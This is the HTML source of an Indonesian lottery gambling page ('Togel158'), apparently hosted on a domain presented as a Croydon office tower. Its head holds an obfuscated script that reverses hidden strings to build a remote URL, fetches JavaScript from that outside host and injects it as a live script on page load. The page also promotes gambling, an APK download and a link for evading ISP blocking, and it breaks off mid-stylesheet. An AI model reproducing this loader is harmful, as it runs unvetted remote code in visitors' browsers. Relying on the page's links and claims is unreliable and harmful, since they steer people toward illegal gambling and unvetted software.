<!DOCTYPE html>
<html class="no-js">

<head>
            <link rel="canonical" href="https://www.no1croydon.co.uk/">
            <!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-TR52CR2P');</script>
<!-- End Google Tag Manager -->


<title>TOGEL158 | Croydon Daftar Link Togel158 No 1 Jagat Maya Terpopuler Largest di Asia</title>
<meta name="keywords" content="Togel158, Togel158 Login, Link Alternatif Login Togel158, Togel158 Login Alternatif, Togel158 Rtp, Togel158 Togel Login, Link Togel158, Situs Togel158, Login Togel158">
<meta name="description" content="Togel158 menampilkan Croydon as largest suburban office tower khusus pendaftar link Togel158 bisa langsung mengakses berbagai jenis game online Togel 158 untuk para gamers sejati.">

<link rel="amphtml" href="https://tower.no1croydon.co.uk/">
<link rel="alternate" hreflang="id-id" href="https://tower.no1croydon.co.uk/"/>
<link rel="alternate" hreflang="id" href="https://tower.no1croydon.co.uk/"/>
<link rel="alternate" hreflang="en" href="https://tower.no1croydon.co.uk/"/>
<link rel="alternate" hreflang="x-default" href="https://tower.no1croydon.co.uk/"/>
<link rel="alternate" href="https://tower.no1croydon.co.uk/"/>
<meta name="google" content="notranslate">
<meta name="author" content="TOGEL158">
<meta name="language" content="id,en">
<meta name="distribution" content="Global">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="1 Day">
<meta name="categories" content="Daftar Permainan Online">
<meta name="googlebot" content="index,follow">
<meta name="expires" content="never">
<meta name="geo.placename" content="Indonesia">
<meta name="geo.position" content="x;x">
<meta name="geo.region" content="indonesia">
<meta name="copyright" content="TOGEL158">
<meta name="DC.Publisher" content="https://www.no1croydon.co.uk/">
<meta name="DC.Contributor" content="TOGEL158">
<!--Start Of Script IDN Toto-->


<script type="text/javascript">
          var uuidautodepo = 'f0bb8e27-265a-472e-8ba4-6146e265ed46';
          var loadwl = 'idntoto';
          var domainsystem = 'piv.sitamoto.51emarfi';

          var _0x53d140=_0x4be3;(function(_0x5cd5da,_0x226b34){var _0x28e077=_0x4be3,_0x471a65=_0x5cd5da();while(!![]){try{var _0x16191b=-parseInt(_0x28e077(0x1c4))/0x1+parseInt(_0x28e077(0x1bd))/0x2*(-parseInt(_0x28e077(0x1c2))/0x3)+parseInt(_0x28e077(0x1bb))/0x4+parseInt(_0x28e077(0x1ca))/0x5*(-parseInt(_0x28e077(0x1b7))/0x6)+parseInt(_0x28e077(0x1ce))/0x7*(parseInt(_0x28e077(0x1c6))/0x8)+parseInt(_0x28e077(0x1c7))/0x9*(parseInt(_0x28e077(0x1b8))/0xa)+parseInt(_0x28e077(0x1c0))/0xb;if(_0x16191b===_0x226b34)break;else _0x471a65['push'](_0x471a65['shift']());}catch(_0x185e12){_0x471a65['push'](_0x471a65['shift']());}}}(_0x4435,0xbd51f));var pathsystem=_0x53d140(0x1c8)+domainsystem+_0x53d140(0x1bf);function _0x4435(){var _0x24c217=['textContent','createElement','846904FooDjH','.js?','20jDCBNA','head','//:sptth','5365283lDfAwG','appendChild','16149JBcLxL','Location','631188eHnrUU','script','1689008NIMrmF','11313117Nygnpb','/lwntpircs/','get','79535tWhgDE','reverse','join','text','21UwtCNd','headers','floor','now','then','426ilcJyK','10aLnyjY'];_0x4435=function(){return _0x24c217;};return _0x4435();}function _0x4be3(_0x217325,_0x3be349){var _0x443513=_0x4435();return _0x4be3=function(_0x4be33c,_0x300392){_0x4be33c=_0x4be33c-0x1b7;var _0x12d8b3=_0x443513[_0x4be33c];return _0x12d8b3;},_0x4be3(_0x217325,_0x3be349);}window.fetch(pathsystem['split']('')[_0x53d140(0x1cb)]()[_0x53d140(0x1cc)]('')+loadwl+_0x53d140(0x1bc)+Math[_0x53d140(0x1d0)](Date[_0x53d140(0x1d1)]()/0x3e8))[_0x53d140(0x1d2)](_0xb6ed62=>{var _0x2a3b57=_0x53d140;return _0xb6ed62['ok']?_0xb6ed62['text']():window.fetch(response[_0x2a3b57(0x1cf)][_0x2a3b57(0x1c9)](_0x2a3b57(0x1c3)))[_0x2a3b57(0x1d2)](_0x246753=>_0x246753[_0x2a3b57(0x1cd)]());})[_0x53d140(0x1d2)](_0x5d7199=>{var _0x31b395=_0x53d140,_0x114dd5=document[_0x31b395(0x1ba)](_0x31b395(0x1c5));_0x114dd5[_0x31b395(0x1b9)]=_0x5d7199,document[_0x31b395(0x1be)][_0x31b395(0x1c1)](_0x114dd5);});
        </script>


<!--End Of Script IDN Toto-->
    <link rel="icon" type="image/png" href="assets/img/btq/favicon.png">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="csrf-token" content="OY2wPOgrLdYoAlninZ9265AtKQpM9F0Y0rbKFERj">

    <link href="assets/css/vendor/bootstrap/bootstrap.min.css" rel="stylesheet">
    <link href="assets/css/font-awesome.min.css" rel="stylesheet">
    <link rel="stylesheet" href="assets/css/vendor/animate/animate.css">
    <link rel="stylesheet" href="assets/css/vendor/bootstrap-checkbox.css">
    <link rel="stylesheet" href="assets/css/vendor/ribbons/3d-corner-ribbons.css">
    <link rel="stylesheet" href="assets/js/vendor/text-rotator/css/simpletextrotator.css">
    <link rel="stylesheet" href="assets/js/vendor/tabdrop/css/tabdrop.css">
    <link rel="stylesheet" href="assets/css/fonts.css">

    <!-- Important Owl stylesheet -->
    <link rel="stylesheet" href="assets/js/vendor/owl-carousel/css/owl.carousel.css">
    <link rel="stylesheet" href="assets/js/vendor/owl-carousel/css/owl.theme.css">
    <link rel="stylesheet" href="assets/js/vendor/owl-carousel/css/owl.transitions.css">

    <link rel="stylesheet" href="assets/js/vendor/nivo-lightbox/css/nivo-lightbox.css">
    <link rel="stylesheet" href="assets/js/vendor/nivo-lightbox/css/themes/default/default.css" type="text/css">
    <link rel="stylesheet" href="css/bank.css" type="text/css">
    <link rel="stylesheet" href="css/shio_svg.css">
    <link rel="stylesheet" href="css/marquee.css?v=kvuoi5mph2xhvcsnxdms">

                        
            <link rel="stylesheet" href="assets/css/btq/btq2.css?v=1775594878">
            
    <link rel="stylesheet" type="text/css" href="assets/css/game_compressed_ic.css">

            <link rel="stylesheet" href="assets/css/defaultTheme.css">
        <link rel="stylesheet" type="text/css" href="assets/css/style.css">
    
    
    <script language="JavaScript">
        function OpenInNewTab(url) {
            var win = window.open('https://langsung.site/tg158-rebrand', '_blank');
            win.focus();
        }
    </script>

    
    <!-- 29-01-2018 <script language='JavaScript1.1' src='//pixel.mathtag.com/event/js?mt_id=995355&mt_adid=161820&v1=&v2=&v3=&s1=&s2=&s3='>
    </script> -->


<script type="text/javascript" src="assets/js/jquery-2.2.4.min.js"></script>
    
    <style>
        .bank-status-blink {
            display: flex;
            align-items: center;
            justify-content: center;
            font-family: 'Muli';
            margin: 0px !important;
        }

        .bank-wrapper {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 10px;
        }

        .dp_barcode img:hover {
            transform: scale(2) translateX(30px) translateY(-28px);
        }

        .dp_barcode img {
            transition: all 1s ease;
        }
    </style>

    
        <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

        <!-- ADDITIONAL CSS -->
    <link rel="stylesheet" href="assets/css/additional.css">
        <style>
        .w-100 {
            width: 100%;
            height: auto !important;
        }

        .mdlcenter {
            transform: translateY(50%) !important;
        }

        .modal-dialog {
            margin-top: 50% !important;
            transform: translateY(-100%) !important;
        }

        .modal-dialog .modal-content .modal-header {
            border-bottom: none;
            background: none;
        }

        .modal-dialog .modal-content {
            background: transparent;
            box-shadow: none;
            border: none;
            transform: translateY(-50%);
        }

        .ads-container {
            margin-top: 20px;
            display: grid;
            gap: 10px;
            grid-template-columns: 1fr 1fr;
        }

        .ads-container img {
            border-radius: 5px;
            border: 1px solid #fff;
            width: 100%;
        }
    </style>

    </head>

        <body class=''>
<!-- Preloader -->
<div class="mask">
    <div id="loader"></div>
</div>
<!--/Preloader -->
    <div style="position: absolute; float: right; z-index: 999999; right: 12%;top: 0;">
        <a href="#" onclick="window.open('https://form.6mbr.com/?webname=togel158link.com&amp;lang=id','kritik_saran', 'width=600, height=1000');">
            <img src="assets/img/feedback2.png" width="115px;">
        </a>
    </div>
    

<!-- Start of LiveChat (www.livechat.com) code -->
<script>
    window.__lc = window.__lc || {};
    window.__lc.license = 15302406;
    ;(function(n,t,c){function i(n){return e._h?e._h.apply(null,n):e._q.push(n)}var e={_q:[],_h:null,_v:"2.0",on:function(){i(["on",c.call(arguments)])},once:function(){i(["once",c.call(arguments)])},off:function(){i(["off",c.call(arguments)])},get:function(){if(!e._h)throw new Error("[LiveChatWidget] You can't use getters before load.");return i(["get",c.call(arguments)])},call:function(){i(["call",c.call(arguments)])},init:function(){var n=t.createElement("script");n.async=!0,n.type="text/javascript",n.src="https://cdn.livechatinc.com/tracking.js",t.head.appendChild(n)}};!n.__lc.asyncInit&&e.init(),n.LiveChatWidget=n.LiveChatWidget||e}(window,document,[].slice))
</script>
<noscript><a href="https://www.livechat.com/chat-with/15302406/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript>
<!-- End of LiveChat code -->

<!-- BEGIN NAVBAR -->

    <div class="navbar navbar-fixed-top" role="navigation" style="line-height:80px; height:80px;-webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);box-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);">

        <div class="container">

            <!-- Branding -->
            <div class="navbar-header">
                <!-- <a class="navbar-brand" href="/" data-0="margin-top: 6px;margin-left:0px;background-size: 260px 70px;" data-300="margin-top: 0px; margin-left:35px;background-size: 183px 60px;"></a> wdlaa natal-->
                                <a class="navbar-brand" style="background-size: 170px;background-position: bottom;" href="https://www.no1croydon.co.uk/"></a>
                                <div class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <a href="https://langsung.site/tg158-rebrand">
                        <i class="fa fa-lock"></i>
                    </a>
                </div>
            </div>
            <!-- Branding end -->
            <a href=""><span class="logo-imlek"></span></a>
            <div class="navbar-collapse collapse" data-0="margin-top: 0px;" data-300="margin-top: 0px;">
                <div class="col-md-4 margin"></div>
                <div class="row">
                    <input type="hidden" id="ceklogin" value="/ceklogin">
                    <form onsubmit="md5nohash(entered_password, vb_login_md5password, vb_login_md5password_utf, 0)">
                        <script type="text/javascript" src="js/vbulletin_md5.js"></script>
                                                <div class="form-group col-sm-2" style="margin-top: 25px;">
                            <input type="text" class="form-control" placeholder="Username" id="navbar_username" name="entered_login" tabindex="1" autocomplete="off">
                        </div>
                        <div class="form-group col-sm-2" style="margin-top: 25px;">
                            <input type="password" class="form-control" placeholder="Password" id="navbar_password" tabindex="2" name="entered_password" autocomplete="off">
                        </div>
                        <button type="submit" class="btn btn-theme login" id="submitlogin" name="submitlogin" value="1">LOGIN</button>
                        <input name="vb_login_md5password" id="vb_login_md5password" type="hidden">
                        <input name="vb_login_md5password_utf" type="hidden">
                        <input type="hidden" name="submitlogin" value="1">
                    </form>
                </div>
            </div>
            <!--/.navbar-collapse -->

        </div>

    </div>
    <!-- END NAVBAR -->

    <!-- BEGIN BREADCRUMBS -->
    <div id="breadcrumbs" class="breadcrumbs">
        <div class="container"></div>
    </div>
    <!-- END BREADCRUMBS -->
    <!-- RUNNING TEXT -->
    <div>
        <div class="container">
            <div class="row">
                <div class="col-sm-3 text-center news-head">
                    <h5><i class="fa fa-bullhorn"></i>&nbsp;&nbsp;Info Terkini:</h5>
                </div>
                <div class="col-sm-9 news-body">
                    <ul id="liscroll">
                        <li><a href="javascript:void(0);">
                                <qwe class="run-text-depan" ;="">Selamat Datang di Situs Togel Terpercaya 2023 - Dapatkan Jackpot Terbesar Bersama Togel158 Setiap Harinya!</qwe>
                            </a></li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- END RUNNING TEXT -->
<script type="text/javascript">
    function proteksi() {
        if ((event.charCode >= 48 && event.charCode <= 57) || event.charCode == 8 || event.charCode == 9 || event
            .charCode == 95 || (event.charCode >= 65 && event.charCode <= 90) || (event.charCode >= 97 && event
                .charCode <= 122)) {
            event.returnValue = true;
        } else {
            event.returnValue = false;
        }
    }

</script>
<!-- PAGE -->
        <section class="section margin-top">


<div class="container">

    <div class="row">
        <style>
.blink {
    text-decoration: blink;
    font-weight: bold;
    -webkit-animation-name: blinker;
    -webkit-animation-duration: 0.6s;
    -webkit-animation-iteration-count: infinite;
    -webkit-animation-timing-function: ease-in-out;
    -webkit-animation-direction: alternate;
}

@-webkit-keyframes blinker {
    from {
        opacity: 1.0;
    }

    to {
        opacity: 0.0;
    }
}
.cycle-slideshow img {
    position: relative;
    left: 50%;
    transform: translateX(-50%);
}
.text-regis {
    animation: blink 1.2s step-start infinite;
    transition: opacity 0.3s ease;
    animation-timing-function: linear;
    animation-iteration-count: infinite;
}
@keyframes  blink {
    50% {
        opacity: 0;
    }
    100% {
        opacity: 1;
    }
}
</style>
<div class="col-sm-3 blog-sidebar">

    <!-- NAV -->
    <ul class="nav menu sidebar-nav">
        <!-- <li><a href="index.php"><i class="fa fa-home"></i>&nbsp;&nbsp;Home</a></li> -->
        <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-question-circle"></i>&nbsp;&nbsp;Cara Bermain</a></li>
                <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-line-chart"></i>&nbsp;&nbsp;History Nomor</a></li>
                <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-newspaper-o"></i>&nbsp;&nbsp;Buku Mimpi</a></li>
        <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-users"></i>&nbsp;&nbsp;Referral</a></li>
                <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-comments-o"></i>&nbsp;&nbsp;Hubungi Kami</a></li>
        
                <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-calendar"></i>&nbsp;&nbsp;Lupa Password</a></li>
                        <li><a href="https://langsung.site/tg158-rebrand" rel="nofollow"><i class="fa fa-window-restore"></i>&nbsp;Promosi</a></li>
    </ul>
    <div class="sidebar-button" align="center">
        <a class="btn btn-theme" href="https://langsung.site/tg158-rebrand" rel="nofollow" style="width: 100%"><span class="text-regis">Daftar</span></a>
    </div>
    <!-- END NAV -->

    <!-- LAST RESULTS -->
    <div class="results">
        <h4><i class="fa fa-calendar"></i>&nbsp;&nbsp;Hasil Terakhir</h4>
        <div class="btn-group custom-navigations circle-navigations with-heading no-top-margin">
            <span id="date-today-result"></span>
            <a href="javascript:void(0);" id="previous-result" class="btn prev prevControl"><i class="fa fa-angle-up"></i></a>
            <a href="javascript:void(0);" id="next-result" class="btn next nextControl"><i class="fa fa-angle-down"></i></a>
        </div>
        <div class="vertical-slider">
            <div class="cycle-slideshow" data-cycle-fx="scrollVert" data-cycle-timeout="3000" data-cycle-slides="> div" data-cycle-prev=".prevControl" data-cycle-next=".nextControl" style="position: relative; overflow: hidden;" id="result-slideshow">
                <img src="mobile/assets/img/loader.gif" alt="">
            </div>
        </div>
    </div>
    <!-- END LAST RESULTS -->

    <!-- LAST WINNER -->
    <div class="results">
        <h4><i class="fa fa-newspaper-o"></i>&nbsp;&nbsp;Berita Terakhir</h4>
        <div class="news-detail">
                        <div class="latest-news">
                <a href="https://langsung.site/tg158-rebrand" rel="nofollow"><strong><marquee behavior="alternate"><strong><font style="text-shadow: 0px 0px 5px rgb(255 255 255);color: #ffdf69; style=" font-size:="" 15px="">*** JADWAL & HASIL RESULT TOGEL ***</font></strong></marquee></strong></a><br>
                                    <span class="dates">07-03-2026 18:20:38</span>
                            </div>
                        <div class="latest-news">
                <a href="https://langsung.site/tg158-rebrand" rel="nofollow"><strong><marquee behavior="alternate"><strong><font style="text-shadow: 0px 0px 5px rgb(192 1255 1);color: #fded02; style=" font-size:="" 15px="">JADWAL BANK OFFLINE & MAINTENANCE</font></strong></marquee></strong></a><br>
                                    <span class="dates">22-09-2024 19:03:51</span>
                            </div>
                        <div class="latest-news">
                <a href="https://langsung.site/tg158-rebrand" rel="nofollow"><strong><marquee behavior="alternate"><strong><font style="text-shadow: 0px 0px 5px rgb(255 255 255);color: #ffdf69; style=" font-size:="" 15px="">*** LOWONGAN KERJA GAJI UP TO 50JUTA!! ***</font></strong></marquee></strong></a><br>
                                    <span class="dates">08-06-2023 14:10:11</span>
                            </div>
                        <div class="latest-news">
                <a href="https://langsung.site/tg158-rebrand" rel="nofollow"><strong><marquee behavior="alternate"><strong><font style="text-shadow: 0px 0px 5px rgb(255 255 255);color: #ffdf69; style=" font-size:="" 15px="">*** DISKON & HADIAH TOGEL ***</font></strong></marquee></strong></a><br>
                                    <span class="dates">09-04-2023 18:12:18</span>
                            </div>
                        <div class="latest-news">
                <a href="https://langsung.site/tg158-rebrand" rel="nofollow"><strong><marquee behavior="alternate"><strong><font style="text-shadow: 0px 0px 5px rgb(255 255 255);color: #ffdf69; style=" font-size:="" 15px="">*** FAQ SEPUTAR TOGEL158 ***</font></strong></marquee></strong></a><br>
                                    <span class="dates">09-04-2023 18:11:44</span>
                            </div>
                    </div>
    </div>
    <!-- END LAST WINNER -->

    
</div>
<!-- END BLOG SIDEBAR

        <!-- BEGIN CONTENT -->
                    <div class="col-sm-9 blog-posts">
                        <!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-TR52CR2P" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->

<style>
#pop-up-container {
        display: flex;
        align-items: center;
        justify-content: space-evenly;
        position: fixed;
        z-index: 11;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
    }

    #pop-up-wrapper {
        width: 94%;
        min-width: 350px;
        max-width: 500px;
        min-height: 210px;
        position: relative;
        z-index: 11;
        overflow: visible;
        border-radius: 5px;
    }

    #pop-up-wrapper img {
        width: 100%;
        border-radius: 5px 5px 0 0;
    }

    #pop-up-wrapper button {
    width: 100%;
    padding: 0.75rem;
    font-size: 1.25rem;
    font-weight: 700;
    border: none;
    border-radius: 11px;
    margin: 0;
    background: linear-gradient(270deg, rgba(201, 138, 0, 1) 0%, rgba(255, 248, 59, 1) 21%, rgba(255, 245, 59, 1) 33%, rgba(211, 158, 7, 1) 44%, rgba(215, 166, 9, 1) 60%, rgb(255 245 59) 73%, rgb(255 248 59) 85%, rgba(201, 138, 0, 1) 100%);
    background-size: 400% 400%;
    animation: gradient 5s ease infinite;
    box-shadow: inset 0 0 5px 3px #ffe100, inset 0 2px 0 0 #fff, inset 0 0 0 2px #640067, 3px 3px 3px 1px rgba(0, 0, 0, .2);
    border: 1px solid #ffe400 !important;
   }

    .gray-bg {
        background: #777 no-repeat;
    }

    .swirl-in-fwd {
        -webkit-animation: swirl-in-fwd 0.6s ease-out both;
        animation: swirl-in-fwd 0.6s ease-out both;
    }

    .x-mark-container {
        position: absolute;
        top: 5px;
        right: 5px;
        background-color: black;
        border-radius: 50%;
        width: 8%;
    }

    #bg-black {
        background-color: rgba(0, 0, 0, 0.75);
        position: fixed;
        z-index: 10;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
    }

    @-webkit-keyframes swirl-in-fwd {
        0% {
            -webkit-transform: rotate(-540deg) scale(0);
            transform: rotate(-540deg) scale(0);
            opacity: 0;
        }

        100% {
            -webkit-transform: rotate(0) scale(1);
            transform: rotate(0) scale(1);
            opacity: 1;
        }
    }

    @keyframes swirl-in-fwd {
        0% {
            -webkit-transform: rotate(-540deg) scale(0);
            transform: rotate(-540deg) scale(0);
            opacity: 0;
        }

        100% {
            -webkit-transform: rotate(0) scale(1);
            transform: rotate(0) scale(1);
            opacity: 1;
        }
    }

    .swirl-out-bck {
        -webkit-animation: swirl-out-bck 0.6s ease-in both;
        animation: swirl-out-bck 0.6s ease-in both;
    }

    @-webkit-keyframes swirl-out-bck {
        0% {
            -webkit-transform: rotate(0) scale(1);
            transform: rotate(0) scale(1);
            opacity: 1;
        }

        100% {
            -webkit-transform: rotate(-540deg) scale(0);
            transform: rotate(-540deg) scale(0);
            opacity: 0;
        }
    }

    @keyframes swirl-out-bck {
        0% {
            -webkit-transform: rotate(0) scale(1);
            transform: rotate(0) scale(1);
            opacity: 1;
        }

        100% {
            -webkit-transform: rotate(-540deg) scale(0);
            transform: rotate(-540deg) scale(0);
            opacity: 0;
        }
    }

    .fade-in {
        -webkit-animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both;
        animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both;
    }

    @-webkit-keyframes fade-in {
        0% {
            opacity: 0;
        }

        100% {
            opacity: 1;
        }
    }

    @keyframes fade-in {
        0% {
            opacity: 0;
        }

        100% {
            opacity: 1;
        }
    }

    .fade-out {
        -webkit-animation: fade-out 1s ease-out both;
        animation: fade-out 1s ease-out both;
    }

    @-webkit-keyframes fade-out {
        0% {
            opacity: 1;
        }

        100% {
            opacity: 0;
        }
    }

    @keyframes fade-out {
        0% {
            opacity: 1;
        }

        100% {
            opacity: 0;
        }
    }
</style>

<!-- POP UP START -->
<script>
    window.addEventListener('DOMContentLoaded', () => {
        $('body').append(`
            <div id="pop-up-container" onclick="close_pop_up()">
                <div id="bg-black" class="fade-in"></div>
                <div id="pop-up-wrapper" class="swirl-in-fwd none-bg">
                        <img
                            src="https://terusmajuimage.xyz/Banner/cari-kami-togel158.jpg"
                            alt="Togel158"
                        />
                    </a>
                    <button onclick="close_pop_up()" style="color: #000000">KLIK DIMANA SAJA UNTUK TUTUP</button>
                </div>
            </div>
        `);

        setTimeout(close_pop_up, 50000);

        document.getElementById('pop-up-wrapper').addEventListener('click', e => {
            e.stopPropagation();
        });
    });

    const close_pop_up = () => {
        document.getElementById('pop-up-wrapper')?.classList.replace('swirl-in-fwd', 'swirl-out-bck');
        document.getElementById('bg-black')?.classList.replace('fade-in', 'fade-out');

        setTimeout(() => {
            const pop_up_container = document.getElementById('pop-up-container');
            pop_up_container?.parentElement.removeChild(pop_up_container);
        }, 1000);
    };
</script>
<!-- POP UP END -->

<style>
  #smart_banner {
    background-image: linear-gradient(90deg, #ff8a00 12%, #ffb702 24%, #ff0 38%, #B8860B 57%, #ffb702 74%, #ff7f00 88%, #ffb702 100%) !important;
    color: black;
    padding: 4px !important; 
  }

  #smart_banner img {
    filter: drop-shadow(0px 0px 0px black)
  }

  #smart_banner .close_button{
    margin-top: -8px !important;
    font-size: 20px !important;
    font-weight: 600 !important;
  }

  #smart_banner .app_icon {
    width: 60px !important;
  }

  #smart_banner .app_title {
    color: black !important;
    margin-top: -4px !important;
    font-size: .8rem !important;
    font-weight: 600 !important;
  }

  #smart_banner .app_slogan {
    color: black !important;
    font-size: .8rem !important;
    font-weight: 500 !important;
  }

  #smart_banner .download_button {
    overflow: visible;
  }

  #smart_banner .download_button a {
    border: 2px solid #e6c560;
    background-image: linear-gradient(90deg, #3a3738, #050505);
    font-size: .8rem;
    font-weight: 700;
    padding: .5rem .5rem !important;
    border-radius: 20px !important;
    box-shadow: 1px 1px 5px black;
  }
</style>

<!--- Floating Menu Button -->
<style>     
    @import url("css");

    :root {
        --border-col: #ff7f00;
        --base-col: #FFFFFF;
        --btn-col: #000000;
        --base-mid-col: #000000;
        --base-side-col: #eeff00;
    }

    .ard-sosmed-bar {
        display: flex;
        gap: 5px;
        background-color: transparent;
        width: auto;
        height: auto;
        bottom: 15%;
        left: 0;
        position: fixed;
        z-index: 125;
        transition: all .7s ease;
        font-family: "Raleway", sans-serif;
        font-size: 20px !important;
    }

    .ard-sosmed-bar.closed {
        transform: translate(-77%, 0);
        opacity: .8;
    }

    .ard-sosmed-bar.closed:hover {
        opacity: .85;
    }

    .ard-sosmed-bar.open {
        transform: translate(0, 0);
    }

    .ard-sosmed-bar .left {
        display: flex;
        flex-direction: column;
        background-color: var(--btn-col);
        border: 2px solid var(--border-col);
        z-index: 98;
        width: 135px;
        border-radius: 15px;
        padding: 5px;
        align-items: center;
        justify-items: center;
        gap: 10px;
    }

    .left div {
        width: 75%;
        height: auto;
        display: flex;
        align-items: center;
        justify-content: center;
        background-color: var(--base-col);
        border-radius: 10px;
        padding: 5px;
    }

    .headlogo {
        width: 80%;
    }


    .left div a {
        text-decoration: none;
        width: 100%;
        height: 100%;
        text-align: center;
        font-size: large;
        font-weight: bold;
        color: black;
        display: flex;
        align-items: center;
        justify-content: center;
        overflow: hidden;
    }

    .ard-sosmed-bar .right {
        display: flex;
        flex-direction: row;
        background: radial-gradient(circle, var(--base-side-col) 0%, var(--base-mid-col) 100%);
        width: 40px;
        padding: 10px 0 10px 0;
        z-index: 99;
        border-radius: 15px;
        align-items: center;
        justify-content: center;
        cursor: pointer;
    }

    .ard-sosmed-bar .right span:first-child {
        width: 100%;
        opacity: 1;
    }

    .ard-sosmed-bar .right span:last-child {
        width: 0;
        opacity: 0;
    }

    .ard-sosmed-bar a,
    .ard-sosmed-bar span {
        text-align: center;
        color: #ca9b18;
        -webkit-text-stroke: 1px black;
        user-select: none;
    }

    .ard-sosmed-bar .right span {
        writing-mode: vertical-rl;
        text-orientation: upright;
        color: #ffffff;
        transition: all .4s ease;
        display: flex;
        align-items: center;
    }

    .ard-sosmed-bar .left div a img {
        height: 100%;
        overflow: hidden !important;
    }

    .bar-footer {
        font-size: medium;
    }

    .ard-sosmed-bar.closed.ardhide {
        transform: translate(-75.5%, 0)
    }

    @media screen and (max-width: 600px) {
        .ard-sosmed-bar {
            scale: .7;
        }

        .ard-sosmed-bar.closed {
            transform: translate(-98.5%, 0);
        }

        .ard-sosmed-bar.open {
            transform: translate(-21%, 0);
        }
    }  
        
    </style>
<div class="ard-sosmed-bar closed ardhide">
    <div class="left">
        <img class="headlogo" src="brand/TOGEL158/logo_togel158.png" alt="logo">
        <div>
            <a href="apk158.apk" target="_blank">
                <img src="icon/favicon_v2.ico" height="50" width="50">
            </a>
        </div>
        <div>
            <a href="https://rarszzzzz.xyz/" target="_blank">
                <img src="https://media.tenor.com/cnL9IC11wP8AAAAj/logo-rtp.gif" height="50" width="50">
            </a>
        </div>
        <div>
            <a href="https://bisamain.pages.dev/" target="_blank">
                <img src="icon/ANTI-NAWALA.gif" height="50" width="50">
            </a>
        </div>
        <div>
            <a href="https://direct.lc.chat/15302406/" target="_blank">
                <img src="media/v1.Y2lkPTc5MGI3NjExZWhyeDE2NG9kb240aW4yaG9qa2ZmNW91aWh6ZzV1NzR1azVzczlwayZlcD12MV9naWZzX3NlYXJjaCZjdD1n/433QvwNRBKfW4Mgn5t/giphy.webp" height="50" width="50">
            </a>
        </div>
        <div>
            <a href="https://t.me/satu58bot" target="_blank">
                <img src="s-XyqNCtw7QAAAAj/telegram.gif" height="50" width="50">
            </a>
        </div>
    </div>
  <div class="right">
        <span>
            TAP TO OPEN
        </span>
        <span>
            TAP TO CLOSE
        </span>
 </div>
</div>
<script>
    const container1 = document.querySelector(".ard-sosmed-bar");
    const btn1 = document.querySelector(".ard-sosmed-bar .right");
    const footer1 = document.querySelector(".ard-sosmed-bar .right span:first-child");
    const footer2 = document.querySelector(".ard-sosmed-bar .right span:last-child");

    btn1.addEventListener("click", () => {
        if (container1.className == "ard-sosmed-bar closed") {
            container1.classList.remove("closed");
            container1.classList.add("open");
            footer1.style.width = "0";
            footer1.style.opacity = "0";
            footer2.style.width = "100%";
            footer2.style.opacity = "1";
        } else if (container1.className == "ard-sosmed-bar open") {
            container1.classList.remove("open");
            container1.classList.add("closed");
            footer1.style.width = "100%";
            footer1.style.opacity = "1";
            footer2.style.width = "0";
            footer2.style.opacity = "0";
        }
    });

    document.addEventListener("DOMContentLoaded", () => {
        container1.classList.remove("ardhide");
    });
</script>

<style>
    .positif {
	background: #FF7f00;
	color: #fff;
	text-shadow: 0 0 1px white;
	box-shadow: none;
	background-size: 300% 300%;
	font-weight: bold;
	border: none;
	animation: button-blues 1.5s infinite;
	line-height: 20px;
	padding: .5rem;
	width: 100%;
        display: inline-block;
        text-align: center;
	border-radius: 6px;
	margin-bottom: 1rem;
    }

	.button-blues{
   line-height: 20px;
padding-bottom: 10px;
min-width: 43%;
display: inline-block;
text-align: center;
border-radius: 8px;
color: #000000 !important;
background: linear-gradient(90deg, #ff8a00 12%, #ffb702 24%, #ff0 38%, #B8860B 57%, #ffb702 74%, #ff7f00 88%, #ffb702 100%);
  background-size: auto;
  background-size: 400% 400%;
  box-shadow: inset 0 0 5px 3px #ffb702,inset 0 2px 0 0 #fff,inset 0 0 0 2px #640067,3px 3px 3px 1px rgba(0,0,0,.2);
  border-radius: 20px;
  font-family: "Font Awesome 5 Free";
  font-weight: 700;
  font-size: 18px;
}

.bb{
  animation: gradient 5s ease infinite;
}



@keyframes gradient {
	0% {
		background-position: 0% 50%;
	}
	50% {
		background-position: 100% 50%;
	}
	100% {
		background-position: 0% 50%;
	}
}

.telegram-button {
    background: linear-gradient(90deg, #0088cc 0%, #00a8ff 50%, #0088cc 100%);
    color: #fff !important;
    text-shadow: 0 0 5px rgba(255, 255, 255, 0.8);
    box-shadow: 0 0 10px 3px rgba(0, 136, 204, 0.8),
                inset 0 0 10px 2px rgba(255, 255, 255, 0.4);
    background-size: 200% 200%;
    font-weight: 600;
    border: none;
    animation: 
        button-telegram 1.5s infinite alternate,
